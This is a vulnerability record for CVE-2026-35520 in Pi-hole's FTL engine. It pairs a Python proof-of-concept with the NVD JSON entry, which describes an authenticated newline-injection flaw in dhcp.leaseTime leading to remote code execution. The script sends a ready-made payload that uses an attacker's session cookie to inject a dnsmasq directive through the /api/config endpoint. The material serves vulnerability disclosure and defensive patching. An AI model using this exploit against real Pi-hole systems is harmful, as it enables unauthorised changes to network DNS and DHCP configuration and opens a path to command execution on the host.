CVE-2026-35520

import requests # Target Pi-hole API endpoint url = "http://<target-ip>/api/config" # Attacker's session cookie (Authentication required) cookies = { "PHPSESSID": "<valid-session-cookie>" } # Malicious payload injecting a newline and a dnsmasq config directive # This example attempts to add a malicious dhcp-option # The actual command execution depends on dnsmasq configuration capabilities payload = { "dhcp.leaseTime": "24h\ndhcp-option=6,1.1.1.1" # Injecting newline + directive } headers = { "Content-Type": "application/json" } try: response = requests.post(url, json=payload, headers=headers, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully. Check if configuration was updated.") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-35520", "sourceIdentifier": "[email protected]", "published": "2026-04-07T16:16:28.550", "lastModified": "2026-04-28T20:28:50.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FTLDNS (pihole-FTL) provides an interactive API and also generates statistics for Pi-hole's Web interface. From 6.0 to before 6.6, the Pi-hole FTL engine contains a Remote Code Execution (RCE) vulnerability in the DHCP lease time configuration parameter (dhcp.leaseTime). This vulnerability allows an authenticated attacker to inject arbitrary dnsmasq configuration directives through newline characters, ultimately achieving command execution on the underlying system. This vulnerability is fixed in 6.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pi-hole:ftldns:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndIncluding": "6.5", "matchCriteriaId": "8C927FF0-74A4-4F13-95A8-E80C5E80F607"}]}]}], "references": [{"url": "https://github.com/pi-hole/FTL/security/advisories/GHSA-fqv2-qhfh-ghcj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/pi-hole/FTL/security/advisories/GHSA-fqv2-qhfh-ghcj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}